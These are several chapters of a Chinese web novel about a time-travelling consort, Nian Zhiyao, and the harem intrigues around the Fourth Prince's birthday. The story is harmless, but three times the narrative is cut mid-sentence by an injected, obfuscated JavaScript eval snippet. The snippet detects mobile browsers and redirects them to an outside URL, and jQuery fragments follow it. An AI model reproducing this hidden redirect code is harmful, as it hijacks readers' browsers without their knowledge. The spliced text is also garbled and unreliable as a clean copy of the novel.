从大雄宝殿出来,四爷正在与主持谈论佛法,他左手握着一卷经书,神情专注,更显他气质出尘,与寺里的气氛相得益彰,要不是知道四爷的野望,年芷瑶还以为他马上就要参透红尘了,皈依我佛了呢。
一旁的松嬷嬷笑意盈盈扶着她进了一处观音殿:“主子既然来了,也该到这处拜一拜才是。”
年芷瑶抬头一看,果然是送子观音,她抽了抽嘴角,很想告诉松嬷嬷,能不能怀上孩子,主要是看男人,而不是靠菩萨。
可看着眼神中透露着十分期待的奶嬷嬷,她最终还是把嘴闭上了。
让人有个心理安慰也是好的。
等年芷瑶忙完,四爷也走了过来,低声道:“去用膳吧。”
不知是不是她的错觉,总觉得和主持聊完的四爷越发仙风道骨了呢。
不过有一说一,万寿寺的素斋确实不错。
年芷瑶吃得心满意足后放下筷子,看向一旁的四爷,“爷,我们去转转吧。”
她抚了抚肚子,今日吃得有些多呢,四爷无奈,牵着她去了后院。
寺庙里种满了银杏树,如今正值秋天,银杏树叶铺在地面,像极了一条金黄色的地毯,绚丽多彩。
年芷瑶叹道:“等到冬天落雪,这里一定更美。”
四爷:“那等冬日爷再带你来赏雪。”
年芷瑶笑着看他:“那再在树下埋上一些梅花酒,等春日的时候喝。”
四爷:“好。”
年芷瑶:“那可要说好了,爷每年都陪我过来。”
四爷捏了捏她的手:“好。”
华灯初上,两人到了京城最热闹的街,这里有京城最豪华的酒楼,旁边就是珠宝铺子,成衣铺子,还有卖各种工艺品和瓷制品的,好不热闹。
在酒楼用过晚膳,年芷瑶便拉着四爷的手兴致冲冲地去外面闲逛。
四周都是叫卖的小贩,她三步一停,五步一站,没多时,身后的侍卫们都拿满了东西,她这才意犹未尽地回了府。
到了东院,年芷瑶便开始迫不及待地整理起了在街上买的小玩意。
她最喜欢的便是在一家小小的首饰铺子买到的银簪子,上面雕刻两朵栩栩如生的玉兰花,花蕊上还镶嵌着细碎的珍珠,虽然和她一匣子的翡翠珠宝来比,并不相配,但她却意外地喜欢。
在现代她也买过一个类似的簪子,那是她拿到第一个月的工资给自己买的生日礼物,虽然不值钱,却是她的第一件首饰,即便后来她有钱买了大牌奢侈品,那根银簪子也一直被她好好地收了起来。
苏培盛看着精神颇好的年主子摇了摇头,偷偷揉起了腰,真是人不可貌相,都说这年主子体弱,可如今看来年主子的身体可比他好多了,这一天下来他累得腿都软了,年主子却一点事都没有,看起来还能再逛一天。
他偷偷瞧了一眼四爷,也不知道主子爷撑不撑得住。
四爷在生气。
年芷瑶本来并不知情,可却敏锐地感受到东院的气氛越发凝固。
她看着小心翼翼和她聊天的白芨,然后掐指一算,四爷好像已经两天没来后院了,本来她还以为四爷是忙,但看白芨的样子,好像事情不简单啊。
她问白芨:“四爷有新人了?”
白芨一吓:“主子怎么这么说。”
她挑眉:“那你们干嘛这副样子。”好像她踩上地雷了一样。
见瞒不过去,白芨悄声说道:“四爷这几日许是心情不好,连苏公公都被罚了。”
年芷瑶有些惊讶,苏培盛被罚了,他自小就伺候四爷,按理应该最是了解四爷心思的,怎么连他都被罚了。
可这和她有什么关系,她看向白芨:“为什么不告诉我。”
白芨犹豫了一些,说道:“奴婢怕您担心爷。”若是主子碰了上去,被迁怒就不好了。
年芷瑶无奈,她看着有这么傻吗,四爷摆明了心情不好,她还往前凑,就算是真爱也不能这么作啊。
更何况,她也没到真爱那份上啊,四爷自己过来求安慰也就罢了,不想见人的时候,就不要睁着眼往前冲了好吧。
白芨看她脑子清醒,连忙把话都说了:“奴才也不知为何,听说前日四爷下了朝回来,面上就不大好看,这两日前院书房不少人都因为伺候不好挨了板子呢。”
年芷瑶点了点头:“这几日你们也小心些。”
其实不必她说,下头的人远比上位者感受得更清楚,他们都灵醒得很,后院主子惹了主子爷,最多挨顿训斥,他们若是做得不好,一不小心就得丢了命。
这些日子,府里连吵嘴的都少了很多。
又等了几天,四爷才来了东院,年芷瑶看了看他的脸色,像是没事了,四爷有一点好,就是生气的时候从不迁怒到后院,都是自己在前头生气,等气消了才过来,一般倒霉的也只有几个在前院伺候的太监。
但是这段时间若是有人赶上了,那就只能自认倒霉了,她看了四爷身后的苏培盛一眼,看他行动之间没什么不便,想必是没遭什么大罪。
只是这次连苏培盛都摸不着脉,想来是生了大气。
她也没想着四爷今日会过来,便让膳房上了一道爆炒腰花。
四爷不喜吃下水,平日里她也不在他面前吃,她看了看四爷,想让白芨把这道菜撤下去。
四
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135729|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爷摆了摆手,对她道:“你喜欢吃这个,留着便是。”
年芷瑶对他笑了笑,“爷不喜欢这味道,闻着也不舒服,何必要强人所难呢。”
“况且我想吃这口,等日后再让他们做便是。”
她挥了挥手,苏培盛十分利索地将盘子端了下去。
四爷叹了一口气,连瑶儿都知道如此体贴他,可他的亲弟弟却偏要和他作对。
想到前两日他劝十四离老八远一些他就气极,老八如今再能蹦跶,也不过是秋后的蚂蚱,蹦跶不了两天了,他整日里四下结交,难不成以为旁人都是傻子不成。
谁知却被十四顶了回来,四爷呵呵一笑,他愿意去贴老八,那去便是。
年芷瑶小心地看了他一眼,四爷笑得有点吓人诶,不会有人要倒霉了吧。
永和宫。
福嬷嬷为德妃上了一盏安神汤,“娘娘,夜深了,早些歇息吧。”
德妃吐了口气,“这个老十四。”
福嬷嬷知道德妃的心事,前些日子,四爷和十四爷在宫门前不知说了什么,没两句话四爷便脸色难看,而后不欢而散。
她劝道:“十四爷还小呢,再等几年就好了。”
德妃拍了拍桌子:“他小什么,他儿子都快十岁了,他还如此不懂事。”
她这辈子生了这么多孩子,十四是唯一一个让她这么操心的,老四出生的时候她还没有位份,不能抚养阿哥,只能交给别人抚养,因为这个,即便后来孝懿去了,老四也和亲近不起来了。
老六是个乖巧的孩子,最是体贴,可惜体弱,长到六岁就没了,后来十四出生,是她最小的孩子,又长在她身边,她难免偏疼几分。
若是老六还在,老四和十四都不会成今日这副样子,可这宫里,又有谁能养得住三个阿哥呢。
她叹了口气:“老四家的孩子也太少了些,到现在也只有三个阿哥,万岁最喜欢多子多福,他的那些兄弟,哪个不比他家孩子多。”
若是有旁的心思,也该早做打算才是,一个两个的,都不让她省心。
福嬷嬷:“如今有了年主子,等过些日子,肯定会有好消息传来的。”
德妃:“但愿吧。”
夜深人静,年芷瑶描绘起了四爷的五官,这是她头一次这么认真地看他,四爷的眉毛浓密修长,边缘清晰,不用修就很好看,眼睛随了德妃,有一双好看的桃花眼,眼形较长,眼尾微微上翘。
只是平日里表情多半严肃,让人不敢接近,鼻子挺拔,嘴也好看,是她喜欢的类型。
可他即使在睡梦中也眉头微蹙,听说人在白日中的心思会反应在梦里,四爷这般想必是有许多心事吧。
年芷瑶伸手为他抚平了皱着的眉头,不免心中泛起一丝怜爱,她只知道四爷日后会做皇帝,可这中间有多少曲折,忍耐她都不知。
但想想被圈的废太子,直郡王,之后又有多少掉马的阿哥,她也知道这不是个容易事。
她抬头亲上了四爷的脸,又伸手摸了摸他的耳朵,然后轻轻拍了拍他的胸口,像是在哄小孩子睡觉一样。
等她睡去,四爷缓慢地睁开了眼,扭头看向了年芷瑶,又摸向了微痒的耳朵,眼里溢出笑意,等握住了她的手,这才沉沉睡去。
20. 第 20 章
钮祜禄氏:“四爷可是去了年侧福晋那。”
春桃:“是。”
钮祜禄氏松了一口气,这几日四爷心情不好,后院的人都战战兢兢,生怕不小心触了四爷的霉头,受了牵连。
四爷进了后院,想必是过去了,说来也可笑,她们这些人平日里恨不得侧福晋失宠,如今却觉得四爷去侧福晋那是件好事了。
钮祜禄氏看向熟睡的弘历,凡事有舍有得,她不去争这个宠爱,只愿她的弘历能平安长大。
她的弘历是个聪明孩子,比傲气的三阿哥,懵懂的五阿哥要聪明得多,说不得能有大造化呢。
正院
福晋看向喝茶的四爷,“再过不久就是爷的生日了,我准备在府中办个家宴,乐上一乐,爷觉得可好。”
她将早早列好的单子递了上去,“爷看这样可好。”
四爷看了看,“福晋做事一向妥帖,就由福晋安排吧。”
他想了想,又道:“再请个戏班子,瑶儿喜欢热闹。”
福晋愣了一瞬,才明白过来四爷指的是年氏,她笑了笑:“也好,府里很久没有这么热闹了。”
“可要再请旁人过来。”
四爷摇头:“如今正值多事之秋,只在府里小聚便好。”
福晋点头称是。
等四爷走后,福晋看了一眼福嬷嬷,说了一句:“这戏要想好看,还是得请好的班子来演才是。”
福嬷嬷会意。
福晋看着屋外头漆黑的夜,早在前几年,四爷就不在她这过夜了,等到弘辉去了,四爷更是只有在有正事的时候才会来正院。
一个李氏被压下去了,又来了一个年氏,若是再让年氏一家独宠,她这个福晋可真成摆设了。
这些日子为了四爷的生日宴,正院那忙得不行,白芍说每日去提膳时都会看见牡丹等人在大厨房进进出出的,好不热闹。
年芷瑶听后笑了笑,继续在院子里喝着黑糖珍珠奶茶,毕竟她也没什么事干,给四爷的生日礼物早早就准备好了,管家权则是被福晋死死抓在手里,不许任何人染指。
她无事可做,自然摆弄起了吃食,这黑糖珍珠便是她新让小厨房做的,他们研究了三天才呈了上来,不知是进行了配方改良,还是食材更好一些,她喝着竟比一些奶茶店的还要好上一些。
四爷尝了后也觉得不错,又将此物进给了德妃,谁知德妃也很喜欢,还特意赏了东西下来。
年芷瑶摆弄着新得的玉如意,深觉不亏。
白芨抱着一堆衣服走了过来:“主子,明日便是四爷的生辰宴了,这几件旗装都是针线房新做的,您觉得哪件好。”
她笑了笑,“奴婢都快挑花眼了,只觉得哪件都好,实在选不出了。”
松嬷嬷跟着过来看了看,指着其中一件道:“这件不错,颜色寓意都好,主子觉得呢。”
白芍凑了过来,“嬷嬷,是我眼花了吗,怎么觉得这件衣裳好像有金光在闪呀。”
松嬷嬷笑笑:“这种料子叫织金锦,因会在锦缎中织入金线,才得此名,这般复杂的图案,普通的绣娘要绣上半年才能得一匹,十分珍贵。”
年芷瑶看了过去,紫色的旗装上绣着兰花,八宝纹,福字纹,还在袖子处镶了三道边,每一层都绣了不同的图案,看上去就高贵优雅。
她道:“那就听嬷嬷的。”
听她开口,几人更是来了兴致,替她挑起了妆容首饰,力求在四爷生日宴当天能艳压群芳,一骑绝尘。
年芷瑶十分配合坐在梳妆台前,听着她们讨论什么佩戴什么珠宝才好,直到采芙想为她选一顶宝石点翠戴着她头上,她才连忙制止:“太夸张了,只是个家宴。”
她又不是要去走红毯,意思意思就行了,没必要搞这么沉的东西,她的颈椎也是颈椎啊,尤其它现在还是一个没因伏案工作而得颈椎病的好颈椎,更要好好保护了。
采芙只能退而求其次,选了一个轻巧精致的钿子。
第二日一早,福晋的人便过来传话说,宴会定在了园子里,年芷瑶有些期待,花园旁有一个戏台子,看来是有戏看了。
今日的天气尚好,年芷瑶带着白芨和松嬷嬷去了园子。
见她来了,在座的几个格格连忙起身行礼:“给侧福晋请安。”
她抬了抬手:“不必多礼。”
花园里布置得相当精巧,还在树上挂上了不少灯笼,吉祥喜庆,想必天黑后也是极为明亮。
宴几上摆好了瓜果点心,年芷瑶先入了座,她环视一圈,今日她来得早了些,李氏还未到。
不过说曹操曹操到,她一抬头,就见着李氏袅袅婷婷地走了过来,她笑道:“许久未见姐姐了,姐姐近来可好。”
自从中秋宫宴之后,李氏便向福晋告了假,说是身子不好染了病,怕传染各位姐妹,福晋就免了她的请安。
她本以为这是李氏的托词,可如今看着她消瘦憔悴的身影,她心中一惊,李氏竟像是真的病了。
不过即使是生病,李氏对她也没什么好脸色:“妹妹还是先关心关心自己吧,姐姐这就不劳妹妹操心了。”
年芷瑶微微一笑,并不动怒。
不多时,福晋便走了过来,几人又是一番见礼。
最后到的是四爷,他先是看了年芷瑶一眼。
而后又瞧了李氏,说道:“你既然身子不好,就不必过来了,好好歇息便是。”
李氏幽幽然地起身,“今儿个是爷的生辰,妾也想亲自为爷庆贺一番。”
年芷瑶微微睁大了眼睛,说实话,自从她进府后就见李氏一副盛气凌人的模样,从未想到她在四爷面前竟是这样的。
不过也不奇怪,四爷想来没有受虐的倾向,自然不会喜欢被人甩脸子,李氏在她们面前再狂妄,也不会在四爷面前发脾气。
只是看着李氏微微低头,露出苍白倦怠的侧脸,在烛光的照耀下显得异常夺目,她突然明了,李氏为何年轻时会得宠了。
说实话李氏现在的年纪也不算
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135730|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很大,她三十许人,又保养得宜,身上散发着成熟女人别样的风情,之前看不出来,如今收了脾气,只剩柔弱,倒更显得让人怜惜。
况且三十岁又如何,没看见宫里的德妃娘娘和宜妃娘娘三十岁时还十分得宠吗,即便是现在,万岁也会时不时地去两位娘娘宫里坐坐。
众人表情不一,谁也不知四爷心里是怎么想的,虽说现在年氏颇为得宠,可李氏到底与四爷有多年情分,又有二格格和三阿哥,她能不能成可不好说。
故而连苏培盛都不想得罪人,他过来掐着时辰过来禀告:“爷,郡主派人送东西过来了。”
四爷:“呈上来。”
苏培盛带着人将东西抬了进来,是一架屏风,上面绣着一朵朵盛开的梅花,梅花灼灼,耀人眼目。
年芷瑶心中微动,梅花这种带着意象的东西怎么都不像是二格格会绣给四爷的,她瞧了一眼李氏,果然见她眼角微红,似有说不出的情绪。
她就知道李氏不会善罢甘休,原来是等在这儿了,先示以柔弱,再让女儿来续旧情,就算四爷看着女儿份上也不会再为难她。
不愧是早年间能撑起四爷后院半边天的人啊。
但她心中倒是不慌,凭他对四爷的了解,他不一定会愿意有人用孩子争宠,还把出嫁的郡主牵扯进来,更是让他不满。
果然四爷的情绪淡了一些,他扫过一眼屏风:“有心了,拿下去吧。”
苏培盛:“是。”他低头退去,心中暗自琢磨,看来李侧福晋这次是竹篮打水一场空啊。
四爷道:“开宴吧。”
李氏看着四爷一眼,似乎还想说什么,可旁边已经传来了敲敲打打的声音,正是府里请的戏班子开演了。
平心而论,这戏唱得倒是不错,应该是京城有名的班子,嗓音婉转流长,让人听而不忘。
只是今天唱的曲目是百花亭,又名贵妃醉酒,现在唱的这段正是杨贵妃约唐明皇百花亭赴筵,但明黄失约,杨贵妃询问后得知他早已转驾西宫,内心怅惘,然后在百花亭醉酒的情景。
台上的旦角衔杯而醉,眼角流泪,将杨贵妃的哀怨愁苦展现得淋漓尽致。
只是这曲目虽有名,可用排在寿宴上唱可不多见,年芷瑶看了福晋一眼,这是联手要从她手里抢人。
白芨和松嬷嬷也看出了气氛不对,紧张地对视一眼。
钮祜禄氏不动声色地抱着四阿哥,连五阿哥都知道眉眼高低,平日里最爱的排骨都不闹着要吃了。
整个晚宴只有年芷瑶还吃得下饭,她将一桌子菜挨个尝了遍,吃到七分饱,才放下了筷子,不得不说,福晋管起家来还是挺有一手的,至少这菜比宫宴上的好吃多了。
四爷瞧她一眼,并未作声。
等宴会结束,众人的眼光不住地在李氏和她的身上打转。
四爷起身后冲她伸出手:“走吧。”
年芷瑶连忙起身跟上,白芨和松嬷嬷彻底松了一口气。
身后人的表情不一。
21. 第 21 章
宴席散去,钮祜禄氏与耿氏的院子的方向相同,两人便相伴走着,因今儿个是四爷的生辰,府里各处都挂上了明亮的灯笼,即便是夜色昏暗,这花园的路都被照得亮堂得很。
两个阿哥由各自的奶娘抱着,他们年岁还小,撑到现在已是困极,在奶娘的怀里小脑袋一点一点的,很是可爱。
耿氏捏了捏五阿哥的脸蛋,率先开口道:“咱们这位侧福晋真是得宠。”
她并未说明是哪位侧福晋,可此情此景,也就只有那位能担得起了。
钮祜禄氏定定地说,“我只愿弘历好好长大。”
红颜易得,恩宠难续,如今年侧福晋是得意,可谁知这份得意日后会不会在旁人身上,不如顾好眼前才是真。
耿氏看了她一眼,她与钮祜禄氏同时进府,又先后生下阿哥,算是有几分交情,只是这份交情是做不得什么数的,尤其是在这后院之中。
她笑了笑:“姐姐说得是,妹妹也只愿五阿哥能平安健康。”
福晋失了阿哥,钮祜禄氏若是能靠上福晋,只要四阿哥长大,福晋自然有所安排,耿氏神色暗了暗。
回东院的路上,年芷瑶笑得不能自已。
四爷捏了捏她的手心:“想什么呢,这么开心。”
年芷瑶看他:“爷,你真的不知道我在为什么开心嘛。”
四爷抬头笑了笑。
年芷瑶玩着四爷指节分明的手,如今她算是知道了,什么叫一力降十会。
即便福晋和李氏背地里使了多少心思,只要四爷不配合,那也是无用功,她都能想象到现在两人的脸色是有多难看。
四爷捏了捏她的肩,“若爷真的去了李氏的院子,你当如何。”
年芷瑶抬头:“那我再把爷抢回来便是。”
后院这股风,不是东风压倒西风,就是西风压倒东风,若李氏的算计真的得逞,那只能说她技不如人,日后谋算一番,再将宠爱赢回来便是。
她本来也没对四爷的节操寄予厚望,难不成一遇见她,他就情不自已,会为她守身如玉了,怎么可能。
如今这个世道,别说皇上王爷了,就是平常富贵人家的少爷,也难保有三两个妾室,一个从小伺候的通房丫鬟,一个身世凄惨的红颜知己,一个家世清白的良妾。
再加上正室夫人的陪嫁丫鬟,上官赏下来的府妓,都是他们的‘不得已’。
更比不上明媒正娶的妻子,所以你不能嫉妒生气,还要将妾室的孩子当作自己的孩子,教导抚养,让人忍不住骂娘。
既然选择进了雍亲王府,她就不会为这些所困,好歹嫁给四爷是投入大于回报,拼上一拼,坐上太后不是梦,可今日他却自己回来了,倒是让她有些惊喜。
至于之后她会不会失宠,那都是日后的说法了,她有娘家,日后还会有孩子,怎么都不会被比下去。
四爷挑眉:“爷难道是什么任人抢来抢去的东西吗。”
年芷瑶抱着四爷的手臂撒娇道:“爷当然不是东西了,爷可是香饽饽,是谁都想咬上几口的大宝贝。”
四爷摇头,什么叫谁都想咬上几口,怎么不叫他唐僧肉呢。
回到东院,身边伺候的人便十分有眼色地退了下去。
年芷瑶看着十分顺眼的四爷,抬头吻上了他的唇。
感受着瑶儿的主动,四爷乐了,化被动为主动,反手按住她的脑袋亲了上去。
芙蓉帐暖。
门外,白芨看了看苏培盛,暗自撇嘴,刚才那二格格的贺礼怎么会送来得如此及时,定是苏培盛在背后帮了忙,还好四爷没被小人所蒙骗,照样来了她们东院。
她面上笑盈盈地道:“苏爷爷,天色不早了,您也快去歇着吧,这里有我们呢。”
苏培盛苦着脸,后院主子们再怎么争斗和他无关,与李侧福晋行三分方便本来也无事,毕竟得宠这事谁能说得准呢。
谁知李侧福晋竟是白忙活一场,若是让年主子记在心里可就不好了,早知他就不蹚这趟浑水了。
如此想着,他便对白芷又客气三分:“劳烦姑娘了。”
第二天一早,年芷瑶先睁开了眼睛,发现四爷还在她身边,有些惊讶地挑了挑眉,四爷今日竟没先去前院,是她醒得太早了吗。
一旁的四爷紧闭双目,感觉到瑶儿的气息变了,便知她睡醒了。
他本想醒来,却感受到瑶儿的气息逐渐靠近,他心中了然,定是她又起了什么坏心思,他也不说破,而是放平呼吸,直到一双微凉的手覆在了他的脸上。
四爷猛地睁开了眼,抓住了她的手,低声道:“想做什么。”
年芷瑶被他吓了一跳,险些叫了出声,又看他眼里没有丝毫睡意,显然是早就醒了,她不满地倒在了他的怀里:“爷,你故意骗我。”
四爷看着恶人先告状的年芷瑶:“嗯?”
看出四爷眼中的危险,她连忙认怂,“对了爷,我准备了生辰礼物给你。”
昨夜两人的进程有些快,害得她忘了把礼物拿出来,索性今日送出也不算晚。
她拿出了早早放好的荷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135731|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
包递给四爷:“这是我亲手绣的,虽比不上绣娘的手艺,但爷可不准嫌弃。”
四爷仔细抚摸着荷包上栩栩如生的并蒂莲,笑了笑:“很好看,瑶儿的心意爷收到了。”
他凑近道:“爷会好好珍惜的。”
年芷瑶感受着他越靠越近的呼吸,不由得羞红了脸,这人,真是恶趣味。
四爷笑得越发肆意。
她捶了他一拳,啧,男人。
门外听到动静的白芨红着脸退了两步,又对采芙挥了挥手,口中说道,“先等等。”
采芙点头,心中不禁叹道主子的得宠,当初自己要进年侧福晋的院子真是赌对了。
两人在床上耳鬓摩挲的好一会儿,眼看着再闹就要出事了,年芷瑶才开口喊道:“白芨。”
白芨小心翼翼地推开门,带着小丫鬟走了进来。
年芷瑶净完面,便坐了下来,旁边的采芙为她梳妆,四爷饶有兴致地等在一旁,然后为她挑了一支赤金嵌玛瑙珠海棠花步摇。
步摇上的流苏随着她的身形微微晃动,十分灵动,她笑道:“爷的眼光就是好。”
四爷笑笑。
今日不用请安,换言之就可以躺平。
四爷也没有离开的意思,两人一同用过午膳便在贵妃榻上躺了下来,看着苏培盛新送来的话本子,年芷瑶看了看四爷,这算不算四爷被她带歪了啊。
这话本子她也是第一次看,讲的是一个秀才路过一个大户人家,意外捡到这家小姐迎风吹落的手帕,两人见面后情定终身。
可大小姐的家中却看不上这个穷秀才,大小姐宁愿与家中决裂,也要与秀才在一起,两人历经磨难,最后有情人终成眷属的故事。
四爷皱着眉头看完,“这写的都是什么东西。”
年芷瑶笑了出声,四爷这么务实的一个人,不理解这些穷酸书生的意淫也是应该的。
她点评了句:“虽然故事老套,但是文笔还可以。”至少能当个打发时间的笑话看。
四爷:“这秀才不过是沽名钓誉之辈,若真是喜欢人家小姐,就应禀明父母,明媒正娶,小姐家嫌他,更应该发愤读书,早日考中进士才是,怎可带着人家小姐私奔,只是自己无能罢了。”
他最后总结:“若爷的女儿为了这样的男人和家中决裂,爷定要把她的腿打断。”
年芷瑶看了看四爷,虽然她也很不喜欢秀才,但这不过是个话本子,爷,你是不是太当真了些。
她笑了笑,她好像意外地看到了四爷的另一面。
22. 第 22 章
紫禁城
宜妃宫里的宫女正去膳房提今日的点心。
小太监看见她来,忙笑道:“今儿个怎么是佩兰姐姐亲自过来,即是宜妃娘娘要的东西,姐姐吩咐人过来取便是。”
佩兰:“主子的吩咐,哪有打折扣的。”
小太监奉承道:“怪不得人人都说姐姐忠心呢,这份心思,果然不是我等能比的。”
佩兰笑笑,并不搭腔,“点心可做好了。”
小太监笑道:“早就好了,少了谁的,也不能少了宜妃娘娘的不是。”
他是刘大厨的徒弟,一直跟着他师傅伺候几位妃主子的膳食,最是知道什么人爱听什么话,像宜妃身边的大宫女佩兰,就最爱听旁人说宜主子得宠的好话。
要是德妃娘娘身边的采菊姑娘过来,他可就不敢这么说了。
佩兰满意地点了点头,她从入宫起便伺候宜妃,最是忠心不过,要她说这宫里谁最得圣心,那她们宜娘娘绝对排得上号。
即便如今得宠的都是些年轻的妃嫔,可在佩兰看来,那些个答应之流,万岁再是招幸她们,也只不过是个玩意,倘若没有运气生下阿哥,这辈子也就到头了。
翊坤宫,佩兰将食盒里的青花缠枝花卉碗拿了出来。
“娘娘,点心拿来了。”
宜妃手点了点头。
如今她年岁大了,越发注意保养,一般不会吃点心,今日特意去膳房也只是听说德妃那得了一个新奇的点心,连皇上吃过都道了句不错。
她才特意让膳房做了一份尝尝,她和德妃几十年的不对付,怎么不知她还会做点心了。
宜妃咬了一口是黑色的丸子,挑了挑眉:“这东西的口感倒是有点特别。”
宫女将打听来的消息说道:“听说这是雍亲王侧福晋的小厨房做的,好像是叫黑糖珍珠。”
宜妃看她:“老四的侧福晋,是姓年吧。”
佩兰:“是呢。”
宜妃放下瓷碗,“德妃倒是好运气,还有儿媳孝顺。”
她展眉一笑,让人不得不感慨,即便是年华渐逝,仍可看出年轻时的风华绝代。
年芷瑶正一个人在屋子里吃锅子,四爷没空过来,她便没叫大厨房的膳,只让小厨房熬了骨汤,又切了上好的牛肉,码上各种配菜,再配上冰镇的梅子酒,只觉得人生逍遥。
她边吃边叹,可惜如今番茄还没传进来,要不然,一个麻辣锅,一个番茄锅才是王道啊。
白芨在旁边倒酒,眼看自家主子还要再喝,连忙劝道:“主子,这酒寒凉,您少喝些吧,若是让嬷嬷看见了,又该怪我了。”
年芷瑶冲她笑笑:“好白芨,就让我再喝一点吧。”
“再呈一壶就好。”
她正与白芨打着商量,却突然打了一个喷嚏,她皱了皱鼻子,是谁在念叨她。
白芨见了,连忙把酒收走了,“主子快别喝了,小心着凉。”
年芷瑶欲哭无泪,眼睁睁地看着白芨把梅子酒换成了红枣茶,“主子喝这个吧,驱寒养胃。”
她内心狂喊,哪有吃火锅配红枣茶的啊。
午后,四爷来到东院,看着年芷瑶苦着脸,笑道:“这是怎么了,谁惹你不高兴了,这小嘴都能挂油瓶了。”
听四爷说起了俗语,年芷瑶忍不住笑了,她道:“没人惹我。”
四爷挑眉:“还想瞒爷。”
“你说。”他伸手指向白芨。
白芨看了年芷瑶一眼,不敢说话。
见避不过去,年芷瑶连忙拉着四爷的衣袖,说明了缘由。
四爷听完后,头一次赞了白芨一句,说她忠心为主,不错。
白芨连忙跪下去谢了恩,有了四爷说的一句忠仆,她差不多就成免检产品了,算得上一件好事。
四爷又扭头对她道:“怎么还和小孩子似的,如今天凉,少喝些冷酒才是。”
年芷瑶拉着四爷的袖子晃了又晃,不满道:“爷。”
四爷只能哄她:“等再过几日,爷带你去泡温泉可好。”
年芷瑶满意了,笑道:“好。”
四爷笑了笑,这些日子老八越发活泛起来,难不成他以为有几个大臣在皇阿玛面前说他的好话,他就能坐上太子吗,简直是异想天开。
他越发不耐起来,但也不好发作,不如先离了京城,先去躲躲清闲也好。
年芷瑶把玩着四爷戴在大拇指上的翡翠扳指,能被四爷看中的都是些好东西,她看这颜色得是帝王绿吧,要是在现代拍卖至少能值几百万吧。
她记得当年有个在香港的拍卖会,其中一个拍品是玻璃种的帝王绿翡翠扳指,拍出了1200万的高价,成色看着还没四爷这个好,她顿了顿,也就是说这一个扳指就够她在现代躺平了,她有些仇富了。
看都在愣神的两位主子,苏培盛无奈,这都过了晚膳地点了,到底叫不叫膳啊。
他看向四爷刚夸赞的忠仆白芨,示意道,你去问问你家主子。
白芨站在一旁眼观鼻,鼻观心,丝毫不为所动。
还是年芷瑶先回过神,看了一眼一旁的座钟,时间已经指向了六点一刻,她拍了拍手:“已经这个时辰了啊。”
这座钟还是前些日子皇上赏的呢,她看这钟繁复美丽,又加上她更习惯现代的计时方式啊,就问四爷要了过来看时间。
她道:“爷,该用晚膳了。”
四爷点头:“传膳吧。”
苏培盛利索地应了一声。
四爷的行动颇快,前几日说要带她去温泉玩,没过几日,就将她带了出来。
年芷瑶饶有兴致地看着眼前的温泉庄子,四爷买下的庄子不是特别大,但加上后头加盖的房舍花园,也像个小园子一般了。
因着万岁爷和前头的孝庄太后都爱来温泉疗养,京城的达官贵人都爱买个温泉庄子,来不来另说,主要是要向万岁看齐。
故而小汤山温泉庄子的价格一直居高不下,而且位置好的早被人买走了,四爷能在靠近行宫的位置有个这般大的庄子,说不得都是因着皇阿哥的身份才得的呢。
庄子上一共有五个温泉池子,每个池子都功效各不相同,跟随的嬷嬷介绍的十分仔细,看她点头,笑得越发小意殷勤。
她和四爷的池子是分开的,等她舒舒服服地泡完温泉出来,没瞧见四爷的身影。
她看向白芨:“爷呢。”
白芨:“爷去前头了,说您泡完直接过去便是。”
年芷瑶无奈,她就没见过如此爱工作的人,怎么来了温泉庄子也不得闲。
她换好衣服去了前头正殿,因是傍晚,她也没让人梳什么复杂的发髻,只简单地编了一个辫子。
左右只能她和四爷两个人,自然不会有人多嘴说什么。
四爷正在屋子里看信,看见她来,对她招手。
“来。”
年芷瑶看了看四爷的表情,总觉得他和平时有些不一样。
“爷。”她绕到四爷身后。
四爷捏住她的手:“嗯?”
“爷是不是背着我干了什么。”
四爷挑眉,“你怎么知道。”他没想到瑶儿竟然如此敏锐。
年芷瑶笑了起来,“我当然了解爷了。”她没说的是,四爷刚才的神情好像她之前养的小狗,它把吃剩的零食藏起来想给她惊喜的时候,就是这副样子。
四爷也笑了起来,凑到她耳边说了一句话。
年芷瑶瞪大了眼睛,“真的吗,额娘真的会来吗。”
“爷还会骗你不成,难不成你不知道年家在这也有个温泉庄子。”
年芷瑶的嘴角止不住地往上扬,家里的确也在小汤山买了一处庄子,不过离地较远,额娘本来想买来给她做陪嫁的。
只是被她拒绝了,额娘年轻的时候受了寒,她嫁人之后,灵泉水也不便偷偷拿给额娘喝,多泡泡温泉对她的身子有益,她便让额娘陪嫁了别处的庄子,把这处地留下了。
她看了看四爷,要说这事不是提前四爷安排好的,她都不信。
她靠近四爷怀里,“爷,你对我真好。”
